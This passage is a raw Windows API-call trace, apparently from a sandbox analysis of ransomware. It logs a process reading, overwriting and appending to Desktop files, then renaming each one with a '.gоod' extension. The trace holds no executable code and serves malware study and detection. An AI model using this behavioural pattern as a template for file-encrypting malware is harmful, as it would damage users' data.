"c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.323] GetFileType (hFile=0x820) returned 0x1 [0213.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.323] GetFileType (hFile=0x820) returned 0x1 [0213.323] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0213.323] ReadFile (in: hFile=0x820, lpBuffer=0x37f0f90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x37f0f90*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0213.324] CloseHandle (hObject=0x820) returned 1 [0213.324] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.324] GetFileType (hFile=0x820) returned 0x1 [0213.324] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.324] GetFileType (hFile=0x820) returned 0x1 [0213.324] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x128ca [0213.324] WriteFile (in: hFile=0x820, lpBuffer=0x37f2218*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x37f2218*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0213.325] CloseHandle (hObject=0x820) returned 1 [0213.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.325] GetFileType (hFile=0x820) returned 0x1 [0213.325] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.325] GetFileType (hFile=0x820) returned 0x1 [0213.325] ReadFile (in: hFile=0x820, lpBuffer=0x37f44c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x37f44c8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0213.417] CloseHandle (hObject=0x820) returned 1 [0213.417] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.417] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.418] GetFileType (hFile=0x820) returned 0x1 [0213.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.418] GetFileType (hFile=0x820) returned 0x1 [0213.418] WriteFile (in: hFile=0x820, lpBuffer=0x343bbb8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x343bbb8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0213.418] CloseHandle (hObject=0x820) returned 1 [0213.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv", lpFilePart=0x0) returned 0x30 [0213.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv.gоod", lpFilePart=0x0) returned 0x35 [0213.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0213.418] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84f880, ftCreationTime.dwHighDateTime=0x1d4ca65, ftLastAccessTime.dwLowDateTime=0xf3015960, ftLastAccessTime.dwHighDateTime=0x1d4c8fd, ftLastWriteTime.dwLowDateTime=0x7b6b775a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x128da)) returned 1 [0213.418] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0213.419] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ZE0eXN9ZMJpTdW014D_L.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\ze0exn9zmjptdw014d_l.mkv.gоod")) returned 1 [0213.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0213.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0213.420] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), fInfoLevelId=0x0, lpFileInformation=0x34697a8 | out: lpFileInformation=0x34697a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c1b91f0, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x5f447920, ftLastAccessTime.dwHighDateTime=0x1d4c685, ftLastWriteTime.dwLowDateTime=0x5f447920, ftLastWriteTime.dwHighDateTime=0x1d4c685, nFileSizeHigh=0x0, nFileSizeLow=0x130f2)) returned 1 [0213.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0213.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0213.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.420] GetFileType (hFile=0x820) returned 0x1 [0213.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.420] GetFileType (hFile=0x820) returned 0x1 [0213.420] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0213.421] ReadFile (in: hFile=0x820, lpBuffer=0x3469b80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3469b80*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0213.421] CloseHandle (hObject=0x820) returned 1 [0213.421] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0213.421] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.421] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.422] GetFileType (hFile=0x820) returned 0x1 [0213.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.422] GetFileType (hFile=0x820) returned 0x1 [0213.422] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x130f2 [0213.422] WriteFile (in: hFile=0x820, lpBuffer=0x346adf8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x346adf8*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0213.422] CloseHandle (hObject=0x820) returned 1 [0213.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0213.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0213.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0213.422] GetFileType (hFile=0x820) returned 0x1 [0213.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0213.422] GetFileType (hFile=0x820) returned 0x1 [0213.422] ReadFile (in: hFile=0x820, lpBuffer=0x346d098, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x346d098*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0214.249] CloseHandle (hObject=0x820) returned 1 [0214.249] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0214.249] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0214.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.250] GetFileType (hFile=0x820) returned 0x1 [0214.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0214.250] GetFileType (hFile=0x820) returned 0x1 [0214.250] WriteFile (in: hFile=0x820, lpBuffer=0x34369e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x34369e0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0214.346] CloseHandle (hObject=0x820) returned 1 [0214.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv", lpFilePart=0x0) returned 0x2f [0214.569] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv.gоod", lpFilePart=0x0) returned 0x34 [0214.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0214.569] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c1b91f0, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x5f447920, ftLastAccessTime.dwHighDateTime=0x1d4c685, ftLastWriteTime.dwLowDateTime=0x7bf89307, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13102)) returned 1 [0214.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0214.569] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zkpbjspKkUnB9s3m-qm.csv.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\zkpbjspkkunb9s3m-qm.csv.gоod")) returned 1 [0214.570] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0214.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), fInfoLevelId=0x0, lpFileInformation=0x354ae68 | out: lpFileInformation=0x354ae68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28eb3a0, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x7ba53130, ftLastAccessTime.dwHighDateTime=0x1d4c866, ftLastWriteTime.dwLowDateTime=0x7ba53130, ftLastWriteTime.dwHighDateTime=0x1d4c866, nFileSizeHigh=0x0, nFileSizeLow=0x43bd)) returned 1 [0214.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0214.571] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0214.571] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.571] GetFileType (hFile=0x630) returned 0x1 [0214.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0214.571] GetFileType (hFile=0x630) returned 0x1 [0214.571] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0214.571] ReadFile (in: hFile=0x630, lpBuffer=0x354b220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x354b220*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0214.572] CloseHandle (hObject=0x630) returned 1 [0214.572] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0214.572] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.572] GetFileType (hFile=0x630) returned 0x1 [0214.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0214.572] GetFileType (hFile=0x630) returned 0x1 [0214.572] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x43bd [0214.572] WriteFile (in: hFile=0x630, lpBuffer=0x354c488*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x354c488*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0214.573] CloseHandle (hObject=0x630) returned 1 [0214.573] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.573] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0214.573] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.573] GetFileType (hFile=0x630) returned 0x1 [0214.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0214.573] GetFileType (hFile=0x630) returned 0x1 [0214.573] ReadFile (in: hFile=0x630, lpBuffer=0x354e718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x354e718*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0214.613] CloseHandle (hObject=0x630) returned 1 [0214.613] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0214.613] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.613] GetFileType (hFile=0x630) returned 0x1 [0214.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0214.613] GetFileType (hFile=0x630) returned 0x1 [0214.613] WriteFile (in: hFile=0x630, lpBuffer=0x354d4a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x354d4a0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0214.613] CloseHandle (hObject=0x630) returned 1 [0214.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png", lpFilePart=0x0) returned 0x2b [0214.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png.gоod", lpFilePart=0x0) returned 0x30 [0214.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0214.614] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb28eb3a0, ftCreationTime.dwHighDateTime=0x1d4ce02, ftLastAccessTime.dwLowDateTime=0x7ba53130, ftLastAccessTime.dwHighDateTime=0x1d4c866, ftLastWriteTime.dwLowDateTime=0x7c211b4e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x43cd)) returned 1 [0214.614] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0214.614] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zkrreV1xVjO2bbl.png.gоod" (normalized: "c:\\users\\fd1hvy\\desktop\\zkrrev1xvjo2bbl.png.gоod")) returned 1 [0214.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", lpFilePart=0x0) returned 0x2f [0214.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0214.615] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif"), fInfoLevelId=0x0, lpFileInformation=0x35caa40 | out: lpFileInformation=0x35caa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa134d720, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0xc184f8c0, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xc184f8c0, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0xd8d)) returned 1 [0214.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0214.615] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", lpFilePart=0x0) returned 0x2f [0214.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0214.615] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\zngubwj274ocix02c8e.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0214.615] GetFileType (hFile=0x630) returned 0x1 [0214.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0214.615] GetFileType (hFile=0x630) returned 0x1 [0214.615] GetFileSize (in: hFile=0x630, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0xd8d [0214.615] ReadFile (in: hFile=0x630, lpBuffer=0x35cba38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x35cba38*, lpNumberOfBytesRead=0x1f9ee638*=0xd8d, lpOverlapped=0x0) returned 1 [0215.256] CloseHandle (hObject=0x630) returned 1 [0215.284] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\ZngUBwJ274oCix02C8E.gif", 